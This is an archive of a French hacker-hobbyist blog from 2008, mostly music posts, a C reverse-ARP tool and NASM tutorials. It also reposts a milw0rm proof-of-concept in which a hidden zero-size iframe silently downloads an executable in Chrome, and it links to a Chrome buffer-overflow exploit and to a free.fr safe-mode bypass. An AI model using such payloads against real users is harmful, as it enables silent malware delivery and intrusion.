vendredi 21 novembre 2008

Dead Or Alive?

Suites a quelques remarques, un petit billet juste pour dire que je ne suis pas mort :)
Je n'ai plus de machine à ma disposition, donc mes projets n'avancent pas vraiment. Je vais bientôt emménager dans un nouvel appartement et pouvoir reprendre mes petits travaux :)

J'en profite pour présenter le blog de mon pote Onerius : ICI

A très bientôt donc.

mercredi 1 octobre 2008

Pour info...

J'exportais le code de mon outil de Reverse Arp en librairie dynamique (DLL) pour pouvoir l'appeler depuis un programme écrit en C#... Et la ben pas si facile de passer un char * en écriture en fait!!!

Voici donc la solution :


Signature de la fonction exportée de la DLL (écrite en C) :

extern "C" __declspec(dllexport) int getIPfromMAC(char * MAC_TO_LOOK_FOR, char * IP_RANGE_START, char * IP_RANGE_END, char * ret)

Appel en C# :

[DllImport("RARPL_DLL.dll", EntryPoint = "getIPfromMAC")]
static extern int getIPfromMAC(string MAC_TO_LOOK_FOR, string IP_RANGE_START, string IP_RANGE_END, StringBuilder buffer);

string ret="";

StringBuilder IPretour= new StringBuilder(50);
getIPfromMAC(MAC, IPdebut, IPfin, IPretour);
ret = IPretour.ToString();


Tout ca sous Visual Studio (il me semble que la directive extern "C" __declspec(dllexport) est spécifique a VS)...

vendredi 26 septembre 2008

Nouvelle Bannière

Merci a MetriK pour la nouvelle bannière, je link son Portfolio, qui est encore en cours de construction.

Voila voila :p

MD5 Online Cracker - By Tr00ps

Un tool de recherche de correspondances MD5/plein-text codé par mon pote Tr00ps.
Le programme recherche le hash soumis sur une multitude de bases de données.

- Cracking par listes
- Export du résultat
- ...

Une nouvelle version implémentant la gestion des bases de données par l'utilisateur pour bientôt? :p



MD5 Online Cracker Download

ARP Reverse Like

Un petit outil écrit en C pour faire une "sorte" de Reverse ARP...

EDIT: ha hé heu oui, faut linker avec : iphlpapi.lib ws2_32.lib :p


// - Reverse ARP Like Tool -
// - by 5m0k3 -

#include "stdafx.h"
#include "string.h"
#include <stdlib.h>
#include <stdio.h>
#include <atlbase.h>
#include <shellapi.h>
#include <winsock2.h>
#include <iphlpapi.h>
#include <icmpapi.h>

typedef struct {
DWORD Address; // Replying address
unsigned long Status; // Reply status
unsigned long RoundTripTime; // RTT in milliseconds
unsigned short DataSize; // Echo data size
unsigned short Reserved; // Reserved for system use
void *Data; // Pointer to the echo data
IP_OPTION_INFORMATION Options; // Reply options
} IP_ECHO_REPLY, * PIP_ECHO_REPLY;


void getIP(char * ip, int bufsize)
{
struct sockaddr_in sAddIn;
struct hostent *sHostent;
char FAR buffer[ 64 ] = "";
WORD wVersionRequested;
WSADATA wsaData;
int iErr = 0;
int i = 0 ;

// Version de Winsock
wVersionRequested = MAKEWORD( 1, 1 );

// On démarre Winsock
iErr = WSAStartup( wVersionRequested, &wsaData );

// On récupère le nom de la machine
gethostname( buffer, sizeof( buffer ) );
sHostent = gethostbyname( buffer );

while( ( sHostent->h_addr_list[ i + 1 ] ) != NULL )
i++;

memcpy( &sAddIn.sin_addr.s_addr, sHostent->h_addr_list[ i ], sHostent->h_length );

strncpy(ip,inet_ntoa( sAddIn.sin_addr ),bufsize);

// On arrête Winsock
WSACleanup( );
}

int ping(char * Ip1)
{
SOCKADDR_IN sin;
DWORD Result1;
int ret=0;

// Fonction de convertion d'une chaine de caractère en structure IPv4
sin.sin_addr.s_addr = inet_addr(Ip1);

// On vérifie que les pointeurs vers les fonction ICMP ne sont pas nulls
if ((IcmpCreateFile == 0) || (IcmpSendEcho == 0))
{
ret=-1;
goto error;
}

// Initialise le service de PING
HANDLE hIP = IcmpCreateFile();
if (hIP == INVALID_HANDLE_VALUE)
{
ret=-2;
goto error;
}

// Construction du paquet ICMP
char acPingBuffer[1];
memset(acPingBuffer, '\xAA', sizeof(acPingBuffer));

PIP_ECHO_REPLY pIpe = (PIP_ECHO_REPLY)GlobalAlloc(GMEM_FIXED | GMEM_ZEROINIT,sizeof(IP_ECHO_REPLY) + sizeof(acPingBuffer));

if (pIpe == 0)
{
ret=-3;
goto error;
}

pIpe->Data = acPingBuffer;
pIpe->DataSize = sizeof(acPingBuffer);

// Envoi du paquet
Result1 = IcmpSendEcho(hIP,sin.sin_addr.S_un.S_addr,acPingBuffer, sizeof(acPingBuffer), NULL, pIpe,sizeof(IP_ECHO_REPLY) + sizeof(acPingBuffer), 1);

GlobalFree(pIpe);

error:

return ret;
}

void getIPfromMAC(char * searchedMAC)
{
DWORD i;
PMIB_IPNETTABLE pIpNetTable = NULL;
DWORD dwSize = 0;
DWORD dwRetVal = 0;
DWORD dwResult;
char bufferMAC[100];

// On récupère la taille du cache ARP
dwResult = GetIpNetTable(NULL, &dwSize, 0);

if (dwResult == ERROR_INSUFFICIENT_BUFFER)
{
pIpNetTable = (MIB_IPNETTABLE *) malloc (dwSize);
}

// On récupère le cache ARP
if ((dwRetVal = GetIpNetTable(pIpNetTable, &dwSize, 0))== NO_ERROR)
{
if (pIpNetTable->dwNumEntries > 0)
{
// On boucle sur la liste récupérée
for (i=0; i<pIpNetTable->dwNumEntries; i++)
{
// On construit une chaine de caractères contenant l'adresse MAC de l'entrée en cours, pour la comparaison
_snprintf(bufferMAC,100,"%.2x:%.2x:%.2x:%.2x:%.2x:%.2x",pIpNetTable->table[i].bPhysAddr[0],pIpNetTable->table[i].bPhysAddr[1],pIpNetTable->table[i].bPhysAddr[2],pIpNetTable->table[i].bPhysAddr[3],pIpNetTable->table[i].bPhysAddr[4],pIpNetTable->table[i].bPhysAddr[5]);

if(strcmp(bufferMAC,searchedMAC)==0)
{
printf("\n >>> %s is at %s :} <<<\n",searchedMAC,inet_ntoa(*(struct in_addr *)&pIpNetTable->table[i].dwAddr));
exit(0);
}

}
}
}

}

void parse(char * ip,int * tab)
// Parse une IP (chaine) en tableau d'int
{
char buffer[4];
unsigned long i=0,j=0,k=0;

while(i<4)
{
memset(buffer,0,4);

while((ip[j]!='.')&&(j<strlen(ip)&&(k<4)))
{
buffer[k]=ip[j];
j++;
k++;
}
tab[i]=atoi(buffer);
k=0;
j++;
i++;
}
}

int main(int argc, char * argv[])
{
if(argc<4)
{
printf("\nUsage: %s <Mac To Find>xx:xx:xx:xx:xx:xx <Ip Range Start> <Ip Range End>\n",argv[0]);
exit(0);
}

int RangeCurrent[4];
int RangeStart[4];
int RangeEnd[4];
char currentIP[100];
char buff[20],buff2[20],buff3[20],buff4[20];

parse(argv[2],RangeStart);
parse(argv[3],RangeEnd);

memcpy(RangeCurrent,RangeStart,sizeof(int)*4);

while(RangeCurrent[0]<=RangeEnd[0])
{
while(RangeCurrent[1]<=RangeEnd[1])
{
while(RangeCurrent[2]<=RangeEnd[2])
{
while (RangeCurrent[3]<255)
{

itoa(RangeCurrent[0],buff,10);
itoa(RangeCurrent[1],buff2,10);
itoa(RangeCurrent[2],buff3,10);
itoa(RangeCurrent[3],buff4,10);

// snprintf au lieu _snprintf si on est pas sous Visual Studio...
_snprintf(currentIP,100,"%s.%s.%s.%s",buff,buff2,buff3,buff4);

ping(currentIP);

getIPfromMAC(argv[1]);

if((RangeCurrent[2]==RangeEnd[2])&&(RangeCurrent[3]==RangeEnd[3])&&(RangeCurrent[1]==RangeEnd[1])&&(RangeCurrent[0]==RangeEnd[0]))
{
break;
}

RangeCurrent[3]++;
}
RangeCurrent[3]=1;
RangeCurrent[2]++;
}
RangeCurrent[2]=1;
RangeCurrent[1]++;
}
RangeCurrent[1]=1;
RangeCurrent[0]++;
}
return 0;
}

lundi 22 septembre 2008

NASM Pt.2

Un peu de zik spéciale c0der de l'extrème:

TTC - J'ai pas sommeil

Et un petit bout de code en Assembleur NASM, pour afficher une Message Box sous Win (et surtout pour s'initier un peu a l'API Windobe):


; Constantes et structures prédéfinies pour l'utilisation de l'API Windows

%include "win32n.inc"

; Librairies
; On importe ExitProcess depuis kernel32.dll
; et MessageBoxA depuis user32.dll


EXTERN ExitProcess
IMPORT ExitProcess kernel32.dll
EXTERN MessageBoxA
IMPORT MessageBoxA user32.dll


; Le segment des données:

segment .data USE32

MessageBox_TITRE db "Belle MessageBox",0
MessageBox_CONTENU db "5m0k3 c'est mon keupin, il roxX",0
ErrorCode dd 0

; Le segment de code:

segment .code USE32

;Début du code
..start:

;On pousse les arguments sur la pile (à l'envers hein...) avant d'appeller MessageBoxA
;int MessageBox(
; HWND hWnd,
; LPCTSTR lpText,
; LPCTSTR lpCaption,
; UINT uType
;);
push dword MB_ICONINFORMATION + MB_OKCANCEL ; les Boutons : http://bob.developpez.com/tutapiwin/article_19.php
push dword MessageBox_TITRE ; Titre
push dword MessageBox_CONTENU ; Contenu
push dword 0 ; Handle du popa, ici il n'y en a pas.
call [MessageBoxA]
;EAX contient une valeur représentant quel bouton à été cliqué

; On pousse le code d'erreur de retour (ici return 0;)
push dword ErrorCode
call [ExitProcess]


On aura besoin de ca : http://rs1.szif.hu/~tomcat/win32/win32n.zip

Et des binaires NASM pour Windows : http://sourceforge.net/project/showfiles.php?group_id=6208&package_id=47034&release_id=625081

Les librairies kernel32.lib et user32.lib pourront être trouvées en installant MASM : http://www.masm32.com/masmdl.htm dans le dossier C:\masm32\lib

Va maintenant falloir assembler tout ça :



D0ne! =)

mercredi 10 septembre 2008

Lamz

Je me suis beaucoup "embêté" aujourd'hui alors j'ai rien trouvé de mieux a foutre que d'écrire un sploit pour bypass le safe mode de free.fr...

Lien ici.

Faut pas en abuser, promis?

mardi 9 septembre 2008

Comme promis...

... Voila la trad que j'annonçais hier : ICI et je remercie les personnes qui m'ont aidé (ma dulcinée et sa moman et ce cher gros sac de zours). Pour rappel, voila le paper original : http://milw0rm.com/papers/212.

J'en profite pour parler un peu d' Other-Project.net, un blog que je tiens avec Tely et quelques amis (Tr00ps, ...). Il n'y a pas grand chose, on avance doucement. A noter une jolie liste d'ebooks quand même : ICI.

lundi 8 septembre 2008

Niouz

Hello, j'ai pas trop eu le temps de poster dernièrement, la faute à qui?
Il s'est néanmoins passé plein de choses que ce soit sur la planète terre ou dans ma vie, je sais bien que le 2eme, tout le monde s'en tape. Brayph:

Google sort un navigateur, et ca commence pas mal:


***************************************************************************
Author: nerex
E-mail: nerex[at]live[dot]com

Google's new Web browser (Chrome) allows files (e.g., executables) to be automatically
downloaded to the user's computer without any user prompt.

This proof-of-concept was created for educational purposes only.
Use the code it at your own risk.
The author will not be responsible for any damages.

Tested on Windows Vista SP1 and Windows XP SP3 with Google Chrome (BETA)
**************************************************************************
<script>
document.write('<iframe src="http://www.example.com/hello.exe" frameborder="0" width="0" height="0">');
</script>

# milw0rm.com [2008-09-03]



PoC Code is in Attach file because this file is saved in 'Unicode' type for exploit.

Here is Description for this Vuln :
· Type of Issue : Buffer Overflow.
· Affected Software : Google Chrome 0.2.149.27.
· Exploitation Environment : Google Chrome (Language: Vietnamese) on Windows XP SP2.
· Impact: Remote code execution.
· Rating : Critical .
· Description :
The vulnerability is caused due to a boundary error when handling the “SaveAs” function. On saving
a malicious page with an overly long title ( tag in HTML), the program causes a stack-based overflow and makes <br />it possible for attackers to execute arbitrary code on users’ systems. <br />· How an attacker could exploit the issue : <br />To exploit the Vulnerability, a hacker might construct a specially crafted Web page, which contains malicious code. <br />He then tricks users into visiting his Website and convinces them to save this Page. Right after that, the code would <br />be executed, giving him the privilege to make use of the affected system. <br />· Discoverer : Le Duc Anh - SVRT - Bkis <br />· About SVRT : <br />SVRT, which is short for Security Vulnerability Research Team, is one of Bkis researching groups. SVRT specializes <br />in the detection, alert and announcement of security vulnerabilities in software, operating systems, network protocols <br />and embedded systems… <br />· Website : security.bkis.vn <br />· Mail : svrt[at]bkav.com.vn <br /> <br />http://milw0rm.com/sploits/2008-chrome.tgz <br /> <br /># milw0rm.com [2008-09-05] <br /></div> <br /> <br />Un paper plutôt intéressant, sur le bypassing de l'ASLR sous kernel 2.6.17-20 : <a href="http://milw0rm.com/papers/219">Ici</a> <br /> <br />Un autre qui démontre une injection SQL sous SyBase mais surtout le bypass de mod_security : <a href="http://milw0rm.com/papers/212">Ici en allemand</a> ; Mais vu que ma copine gère vraiment, telle une déesse, je vous balance une trad d'ici un moment. <br /> <br />Sinon je referais sûrement bientôt un truc sur Nasm (ou pitete Masm why not?), dès que j'en aurais le temps / l'envie. <br /> <br /> <div style='clear: both;'></div> </div> <div class='post-footer'> <div class='post-footer-line post-footer-line-1'> <span class='post-author vcard'> Publié par <span class='fn' itemprop='author' itemscope='itemscope' itemtype='http://schema.org/Person'> <meta content='https://www.blogger.com/profile/02076869472563704465' itemprop='url'/> <a class='g-profile' href='https://www.blogger.com/profile/02076869472563704465' rel='author' title='author profile'> <span itemprop='name'>sm0k</span> </a> </span> </span> <span class='post-timestamp'> </span> <span class='reaction-buttons'> </span> <span class='post-comment-link'> <a class='comment-link' href='https://www.blogger.com/comment.g?blogID=1278381685061151760&postID=2939044325820391050' onclick=''> 1 commentaire: </a> </span> <span class='post-backlinks post-comment-link'> </span> <span class='post-icons'> </span> <div class='post-share-buttons goog-inline-block'> </div> </div> <div class='post-footer-line post-footer-line-2'> <span class='post-labels'> </span> </div> <div class='post-footer-line post-footer-line-3'> <span class='post-location'> </span> </div> </div> </div> </div> </div></div> <div class="date-outer"> <h2 class='date-header'><span>vendredi 22 août 2008</span></h2> <div class="date-posts"> <div class='post-outer'> <div class='post hentry uncustomized-post-template' itemprop='blogPost' itemscope='itemscope' itemtype='http://schema.org/BlogPosting'> <meta content='1278381685061151760' itemprop='blogId'/> <meta content='7105047562948735076' itemprop='postId'/> <a name='7105047562948735076'></a> <h3 class='post-title entry-title' itemprop='name'> <a href='http://plasticsouptaste.blogspot.com/2008/08/du-son-encore-et-encore.html'>Du son, encore et encore...</a> </h3> <div class='post-header'> <div class='post-header-line-1'></div> </div> <div class='post-body entry-content' id='post-body-7105047562948735076' itemprop='description articleBody'> C'est pas tout neuf non plus mais ca reste bien fresh :p :<br /><br /><object height="344" width="425"><param name="movie" value="http://www.youtube.com/v/iu3iYOLqe6E&hl=en&fs=1"></param><param name="allowFullScreen" value="true"></param><embed src="http://www.youtube.com/v/iu3iYOLqe6E&hl=en&fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"></embed></object><br />Para One - Dudun Dun<br /><br />Le clip est assez tripant :<br /><br /><object height="344" width="425"><param name="movie" value="http://www.youtube.com/v/6zo1-XlazvY&hl=en&fs=1"></param><param name="allowFullScreen" value="true"></param><embed src="http://www.youtube.com/v/6zo1-XlazvY&hl=en&fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"></embed></object><br />Justice vs. Simian - We Are Your Friends<br /><br />Pas de clip, mais c'est tellement énorme :D :<br /><br /><div style="width:220px;height:55px;"><object height="55" width="220"><param name="movie" value="http://www.deezer.com/embedded/small-widget-v2.swf?idSong=186926&colorBackground=0x555552&textColor1=0xFFFFFF&colorVolume=0x39D1FD&autoplay=0"></param><embed src="http://www.deezer.com/embedded/small-widget-v2.swf?idSong=186926&colorBackground=0x525252&textColor1=0xFFFFFF&colorVolume=0x39D1FD&autoplay=0" type="application/x-shockwave-flash" width="220" height="55"></embed></object></div><br />ModSelektor ft. TTC - 2000007 <div style='clear: both;'></div> </div> <div class='post-footer'> <div class='post-footer-line post-footer-line-1'> <span class='post-author vcard'> Publié par <span class='fn' itemprop='author' itemscope='itemscope' itemtype='http://schema.org/Person'> <meta content='https://www.blogger.com/profile/02076869472563704465' itemprop='url'/> <a class='g-profile' href='https://www.blogger.com/profile/02076869472563704465' rel='author' title='author profile'> <span itemprop='name'>sm0k</span> </a> </span> </span> <span class='post-timestamp'> </span> <span class='reaction-buttons'> </span> <span class='post-comment-link'> <a class='comment-link' href='https://www.blogger.com/comment.g?blogID=1278381685061151760&postID=7105047562948735076' onclick=''> Aucun commentaire: </a> </span> <span class='post-backlinks post-comment-link'> </span> <span class='post-icons'> </span> <div class='post-share-buttons goog-inline-block'> </div> </div> <div class='post-footer-line post-footer-line-2'> <span class='post-labels'> </span> </div> <div class='post-footer-line post-footer-line-3'> <span class='post-location'> </span> </div> </div> </div> </div> </div></div> <div class="date-outer"> <h2 class='date-header'><span>mardi 19 août 2008</span></h2> <div class="date-posts"> <div class='post-outer'> <div class='post hentry uncustomized-post-template' itemprop='blogPost' itemscope='itemscope' itemtype='http://schema.org/BlogPosting'> <meta content='1278381685061151760' itemprop='blogId'/> <meta content='7183347365693449263' itemprop='postId'/> <a name='7183347365693449263'></a> <h3 class='post-title entry-title' itemprop='name'> <a href='http://plasticsouptaste.blogspot.com/2008/08/blog-post.html'>:/</a> </h3> <div class='post-header'> <div class='post-header-line-1'></div> </div> <div class='post-body entry-content' id='post-body-7183347365693449263' itemprop='description articleBody'> Bon heu... ca date un peu quand meme...<br /><br /><object height="344" width="425"><param name="movie" value="http://www.youtube.com/v/EdS6iZrN4c0&hl=en&fs=1"></param><param name="allowFullScreen" value="true"></param><embed src="http://www.youtube.com/v/EdS6iZrN4c0&hl=en&fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"></embed></object> <div style='clear: both;'></div> </div> <div class='post-footer'> <div class='post-footer-line post-footer-line-1'> <span class='post-author vcard'> Publié par <span class='fn' itemprop='author' itemscope='itemscope' itemtype='http://schema.org/Person'> <meta content='https://www.blogger.com/profile/02076869472563704465' itemprop='url'/> <a class='g-profile' href='https://www.blogger.com/profile/02076869472563704465' rel='author' title='author profile'> <span itemprop='name'>sm0k</span> </a> </span> </span> <span class='post-timestamp'> </span> <span class='reaction-buttons'> </span> <span class='post-comment-link'> <a class='comment-link' href='https://www.blogger.com/comment.g?blogID=1278381685061151760&postID=7183347365693449263' onclick=''> 1 commentaire: </a> </span> <span class='post-backlinks post-comment-link'> </span> <span class='post-icons'> </span> <div class='post-share-buttons goog-inline-block'> </div> </div> <div class='post-footer-line post-footer-line-2'> <span class='post-labels'> </span> </div> <div class='post-footer-line post-footer-line-3'> <span class='post-location'> </span> </div> </div> </div> </div> </div></div> <div class="date-outer"> <h2 class='date-header'><span>dimanche 17 août 2008</span></h2> <div class="date-posts"> <div class='post-outer'> <div class='post hentry uncustomized-post-template' itemprop='blogPost' itemscope='itemscope' itemtype='http://schema.org/BlogPosting'> <meta content='1278381685061151760' itemprop='blogId'/> <meta content='4807368306665305705' itemprop='postId'/> <a name='4807368306665305705'></a> <h3 class='post-title entry-title' itemprop='name'> <a href='http://plasticsouptaste.blogspot.com/2008/08/une-semaine-peine.html'>Une semaine à peine...</a> </h3> <div class='post-header'> <div class='post-header-line-1'></div> </div> <div class='post-body entry-content' id='post-body-4807368306665305705' itemprop='description articleBody'> ... Et ce blog est déja le plus populaire de la toile :o<br /><br />Aujourd'hui, plein de news en pagaille, la semaine à été folle!!<br /><ul><br /><li>XCMO Partners sortent leur 20ème ezine : <br /> <a href="http://www.xmcopartners.com/">http://www.xmcopartners.com/</a><br /><li><a href="http://www.net-security.org/dl/insecure/INSECURE-Mag-17.pdf">(IN)Secure Mag N°17</a><br /><li>Sortie de RAFALE N°10 : <a href="http://www.rafale.org/">http://www.rafale.org/</a><br /><li>Un nouveau petit tool qui pourrait bien nous etre fort utile, Assh, c'est ici : <a href="http://assh.sourceforge.net/">http://assh.sourceforge.net/</a><br /></ul><br />Et puis, vu qu'on est dimanche quand meme:<br /><br /><object height="344" width="425"><param name="movie" value="http://www.youtube.com/v/_9PYdMFgi-E&hl=fr&fs=1"></param><param name="allowFullScreen" value="true"></param><embed src="http://www.youtube.com/v/_9PYdMFgi-E&hl=fr&fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"></embed></object><br />TTC - Travailler (ORGASMIC Remix) <div style='clear: both;'></div> </div> <div class='post-footer'> <div class='post-footer-line post-footer-line-1'> <span class='post-author vcard'> Publié par <span class='fn' itemprop='author' itemscope='itemscope' itemtype='http://schema.org/Person'> <meta content='https://www.blogger.com/profile/02076869472563704465' itemprop='url'/> <a class='g-profile' href='https://www.blogger.com/profile/02076869472563704465' rel='author' title='author profile'> <span itemprop='name'>sm0k</span> </a> </span> </span> <span class='post-timestamp'> </span> <span class='reaction-buttons'> </span> <span class='post-comment-link'> <a class='comment-link' href='https://www.blogger.com/comment.g?blogID=1278381685061151760&postID=4807368306665305705' onclick=''> Aucun commentaire: </a> </span> <span class='post-backlinks post-comment-link'> </span> <span class='post-icons'> </span> <div class='post-share-buttons goog-inline-block'> </div> </div> <div class='post-footer-line post-footer-line-2'> <span class='post-labels'> </span> </div> <div class='post-footer-line post-footer-line-3'> <span class='post-location'> </span> </div> </div> </div> </div> </div></div> <div class="date-outer"> <h2 class='date-header'><span>samedi 16 août 2008</span></h2> <div class="date-posts"> <div class='post-outer'> <div class='post hentry uncustomized-post-template' itemprop='blogPost' itemscope='itemscope' itemtype='http://schema.org/BlogPosting'> <meta content='1278381685061151760' itemprop='blogId'/> <meta content='5913012570168343930' itemprop='postId'/> <a name='5913012570168343930'></a> <h3 class='post-title entry-title' itemprop='name'> <a href='http://plasticsouptaste.blogspot.com/2008/08/space-mais-bon.html'>Space mais bon....</a> </h3> <div class='post-header'> <div class='post-header-line-1'></div> </div> <div class='post-body entry-content' id='post-body-5913012570168343930' itemprop='description articleBody'> <object height="344" width="425"><param name="movie" value="http://www.youtube.com/v/gRS8cM4lyKY&hl=en&fs=1"></param><param name="allowFullScreen" value="true"></param><embed src="http://www.youtube.com/v/gRS8cM4lyKY&hl=en&fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"></embed></object><br />DJ Shadow - The Organ Donor <div style='clear: both;'></div> </div> <div class='post-footer'> <div class='post-footer-line post-footer-line-1'> <span class='post-author vcard'> Publié par <span class='fn' itemprop='author' itemscope='itemscope' itemtype='http://schema.org/Person'> <meta content='https://www.blogger.com/profile/02076869472563704465' itemprop='url'/> <a class='g-profile' href='https://www.blogger.com/profile/02076869472563704465' rel='author' title='author profile'> <span itemprop='name'>sm0k</span> </a> </span> </span> <span class='post-timestamp'> </span> <span class='reaction-buttons'> </span> <span class='post-comment-link'> <a class='comment-link' href='https://www.blogger.com/comment.g?blogID=1278381685061151760&postID=5913012570168343930' onclick=''> Aucun commentaire: </a> </span> <span class='post-backlinks post-comment-link'> </span> <span class='post-icons'> </span> <div class='post-share-buttons goog-inline-block'> </div> </div> <div class='post-footer-line post-footer-line-2'> <span class='post-labels'> </span> </div> <div class='post-footer-line post-footer-line-3'> <span class='post-location'> </span> </div> </div> </div> </div> </div></div> <div class="date-outer"> <h2 class='date-header'><span>mercredi 13 août 2008</span></h2> <div class="date-posts"> <div class='post-outer'> <div class='post hentry uncustomized-post-template' itemprop='blogPost' itemscope='itemscope' itemtype='http://schema.org/BlogPosting'> <meta content='1278381685061151760' itemprop='blogId'/> <meta content='3614045360039230230' itemprop='postId'/> <a name='3614045360039230230'></a> <h3 class='post-title entry-title' itemprop='name'> <a href='http://plasticsouptaste.blogspot.com/2008/08/ca-pue-la-sale-journe.html'>Ca pue la sale journée...</a> </h3> <div class='post-header'> <div class='post-header-line-1'></div> </div> <div class='post-body entry-content' id='post-body-3614045360039230230' itemprop='description articleBody'> ... On verra Bien!<br /><br />"<span style="font-style: italic;">Tu kiff mon son comme la fin de la semaine</span>" :<br /><br /><object height="344" width="425"><param name="movie" value="http://www.youtube.com/v/jY8rSIAKvcM&hl=en&fs=1"><param name="allowFullScreen" value="true"><embed src="http://www.youtube.com/v/jY8rSIAKvcM&hl=en&fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"></embed></object><br />Cuizinier - L'enculé le plus cool<br /><br />Pour la petite touche d'originalité :<br /><br /><object height="344" width="425"><param name="movie" value="http://www.youtube.com/v/SnbY7SFmfk0&hl=en&fs=1"></param><param name="allowFullScreen" value="true"></param><embed src="http://www.youtube.com/v/SnbY7SFmfk0&hl=en&fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"></embed></object><br />Crystal Castles - Tholo (Je suis pas 100% sûr)<br /><br />Ca bien sûr, parce que ça manque quand même :p :<br /><br /><object height="344" width="425"><param name="movie" value="http://www.youtube.com/v/-JOzj2-vnwo&hl=en&fs=1"></param><param name="allowFullScreen" value="true"></param><embed src="http://www.youtube.com/v/-JOzj2-vnwo&hl=en&fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"></embed></object><br />Polycarpus - The Sex Virus<br /><br />A part ca je suis en vacances demain, pour 2 semaines ENTIERES :D HAHAHA! <div style='clear: both;'></div> </div> <div class='post-footer'> <div class='post-footer-line post-footer-line-1'> <span class='post-author vcard'> Publié par <span class='fn' itemprop='author' itemscope='itemscope' itemtype='http://schema.org/Person'> <meta content='https://www.blogger.com/profile/02076869472563704465' itemprop='url'/> <a class='g-profile' href='https://www.blogger.com/profile/02076869472563704465' rel='author' title='author profile'> <span itemprop='name'>sm0k</span> </a> </span> </span> <span class='post-timestamp'> </span> <span class='reaction-buttons'> </span> <span class='post-comment-link'> <a class='comment-link' href='https://www.blogger.com/comment.g?blogID=1278381685061151760&postID=3614045360039230230' onclick=''> 2 commentaires: </a> </span> <span class='post-backlinks post-comment-link'> </span> <span class='post-icons'> </span> <div class='post-share-buttons goog-inline-block'> </div> </div> <div class='post-footer-line post-footer-line-2'> <span class='post-labels'> </span> </div> <div class='post-footer-line post-footer-line-3'> <span class='post-location'> </span> </div> </div> </div> </div> </div></div> <div class="date-outer"> <h2 class='date-header'><span>mardi 12 août 2008</span></h2> <div class="date-posts"> <div class='post-outer'> <div class='post hentry uncustomized-post-template' itemprop='blogPost' itemscope='itemscope' itemtype='http://schema.org/BlogPosting'> <meta content='http://2.bp.blogspot.com/_orYbpGQL4hA/SKHQSekNAcI/AAAAAAAAAAo/WN7iQX2cE4U/s400/table.png' itemprop='image_url'/> <meta content='1278381685061151760' itemprop='blogId'/> <meta content='2341322721637642417' itemprop='postId'/> <a name='2341322721637642417'></a> <h3 class='post-title entry-title' itemprop='name'> <a href='http://plasticsouptaste.blogspot.com/2008/08/soyons-des-fous.html'>Soyons des fous!!!</a> </h3> <div class='post-header'> <div class='post-header-line-1'></div> </div> <div class='post-body entry-content' id='post-body-2341322721637642417' itemprop='description articleBody'> ... Et développons sous <span style="font-weight: bold;">Nasm</span><br />=> http://nasm.sourceforge.net/<br /><br />Téléchargement:<br /><br />- <a href="http://sourceforge.net/project/showfiles.php?group_id=6208&package_id=47034&release_id=607504">Windoze</a><br />- <a href="http://sourceforge.net/project/showfiles.php?group_id=6208&package_id=47035&release_id=607490">Linuske</a><br /><br />Un peu de supayr mizik, ca peut aider<br />http://www.deezer.com/#music/playlist/9927274/1201024<br /><br />Et on commence par un pitit programme (COM) DOS:<br /><br /><div style="border: 1px solid white; padding: 2px;"><br /><span style="color: rgb(255, 255, 255);font-size:85%;" ><span style="font-family:courier new;">[ORG 0x0100]</span><br /><span style="color: rgb(255, 0, 0);font-family:courier new;" >; On décale notre offset de 0x100. pourquoi? on est dans un programme COM (donc pas un EXE). DONC, les 256 premiers octets sont réservés au PSP</span></span><span style="font-style: italic; color: rgb(255, 0, 0);"></span><span style="color: rgb(255, 255, 255);font-size:85%;" ><span style="color: rgb(255, 0, 0);"> (Program Segment Prefix). Il contient certaines infos relatives au programme parfois utiles au programmeur, et vu que je suis gentil, certaines sont fournies dans un tableau un peu plus bas ;)</span><br /><br /><span style="font-family:courier new;">[SEGMENT .data]</span><br /><span style="font-family:courier new;">message db 'hello world',10,13,'$'</span><br /><span style="color: rgb(255, 0, 0);font-family:courier new;" >; Bin la... on déclare une variable ... elle s'apelle message, contient 'hello world', la suite sont un retour a la ligne (10 13) et la caractère de terminaison de chaine ($). Ca correspond à \n\0 en C, quoi.</span><br /><br /><span style="font-family:courier new;">[SEGMENT .text]</span><br /><span style="font-family:courier new;">call affichage</span><br /><span style="color: rgb(255, 0, 0);font-family:courier new;" >; On apelle la routine affichage</span><br /><br /><span style="font-family:courier new;">call fin</span><br /><span style="color: rgb(255, 0, 0);font-family:courier new;" >; Puis la routine fin</span><br /><br /><span style="font-family:courier new;">affichage:</span><br /><span style="font-family:courier new;">mov dx,message</span><br /><span style="color: rgb(255, 0, 0);font-family:courier new;" >; On met le pointeur sur notre chaine de caractère dans le registre DX</span><br /><br /><span style="font-family:courier new;">mov ah,0x09</span><br /><span style="color: rgb(255, 0, 0);font-family:courier new;" >; On met 0x09 dans ax, 9 est le numéro de la fonction de l’interruption dans 21h (car l'interruption 21h fournit plusieurs fonctions :]) qui écrit une chaîne de caractères à l’écran.</span><br /><span style="color: rgb(255, 0, 0);font-family:courier new;" >; Pitit rappel:</span><br /><span style="color: rgb(255, 0, 0);font-family:courier new;" >; EAX : partie basse 32 bits (bits 0 à 31) de RAX.</span><br /><span style="color: rgb(255, 0, 0);font-family:courier new;" >; AX : partie basse 16 bits (bits 0 à 15) de EAX.</span><br /><span style="color: rgb(255, 0, 0);font-family:courier new;" >; AH : partie haute 8 bits (bits 8 à 15) de AX.</span><br /><span style="color: rgb(255, 0, 0);font-family:courier new;" >; AL : partie basse 8 bits (bit 0 à 7) de AX.</span><br /><span style="color: rgb(255, 0, 0);font-family:courier new;" >; DONC un mov eax,0x09 ou un mov ax,0x09 auraient marché aussi</span><br /><br /><span style="font-family:courier new;">int 0x21</span><br /><span style="color: rgb(255, 0, 0);font-family:courier new;" >; On appelle l'interruption 0x21 (Liste d'interruptions un peu + loin)</span><br /><br /><span style="font-family:courier new;">ret</span><br /><span style="color: rgb(255, 0, 0);font-family:courier new;" >; On rend la main a l'appellant (return en C)</span><br /><br /><span style="font-family:courier new;">fin:</span><br /><span style="font-family:courier new;">mov ax,0x4c</span><br /><span style="color: rgb(255, 0, 0);font-family:courier new;" >; On met 0x4c dans ax, 0x4c est le numéro de la fonction qui sert à quitter le programme</span><br /><span style="color: rgb(255, 255, 255);font-family:courier new;" >int 0x21</span><br /><span style="color: 